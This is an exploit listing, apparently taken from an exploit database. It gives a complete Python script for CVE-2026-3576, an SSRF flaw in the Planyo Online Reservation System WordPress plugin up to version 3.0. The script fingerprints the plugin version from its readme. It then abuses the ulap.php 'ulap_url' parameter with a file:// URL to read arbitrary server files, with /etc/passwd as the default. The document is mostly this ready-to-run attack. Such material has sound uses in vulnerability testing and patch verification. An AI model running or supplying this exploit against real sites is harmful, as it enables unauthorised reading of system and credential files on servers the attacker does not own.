Exploit for Planyo Online Reservation System 3.0 SSRF / Arbitrary File Read

## https://sploitus.com/exploit?id=PACKETSTORM:228288
# Exploit Title: Planyo_Online_Reservation_System  3.0 - Arbitrary File Read via SSRF
    # Date: 12-07-2026
    # Exploit Author: Balachandar Gowrisankar
    # Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/
    # Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
    # Version: <= 3.0
    # Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14
    # CVE: CVE-2026-3576
    # CVSS Score: 7.2
    
    # Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
    
    import argparse
    import requests
    import re
    
    def version_check(base_url):
        
        readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt"
    
        response = requests.get(readme_url)
        text = response.text
    
        match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) 
        if match: 
            changelog = match.group(1)
            versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog)
            if versions:
                print("[+] Version found:", versions[-1])
                if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:
                    print("[+] Target is vulnerable")
                else:
                    print("[-] Target is not vulnerable. Exiting.")
                    exit()
            else:
                print("[-] No versions found. Try skipping version check to see if exploit still works.")
                exit()
        else:
            print("[-] No changelog section found. Try skipping version check to see if exploit still works.") 
            exit()
    
    def read_file(base_url, file):
    
        target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file
    
        try:
            response = requests.get(target_url)
            response.raise_for_status()
    
            print(response.text)
    
        except requests.exceptions.HTTPError as e:
            print(e)
    
    def main():
        
        parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576")
    
        parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)")
        parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd")
        parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") 
    
        args = parser.parse_args()
    
        if not args.disable_check:
            print("[*] Checking if target is vulnerable...")
            version_check(args.base_url)
        
        print("\n[*] Attempting to read arbitrary file...\n")
        read_file(args.base_url, args.file)
    
    if __name__ == "__main__":
        main()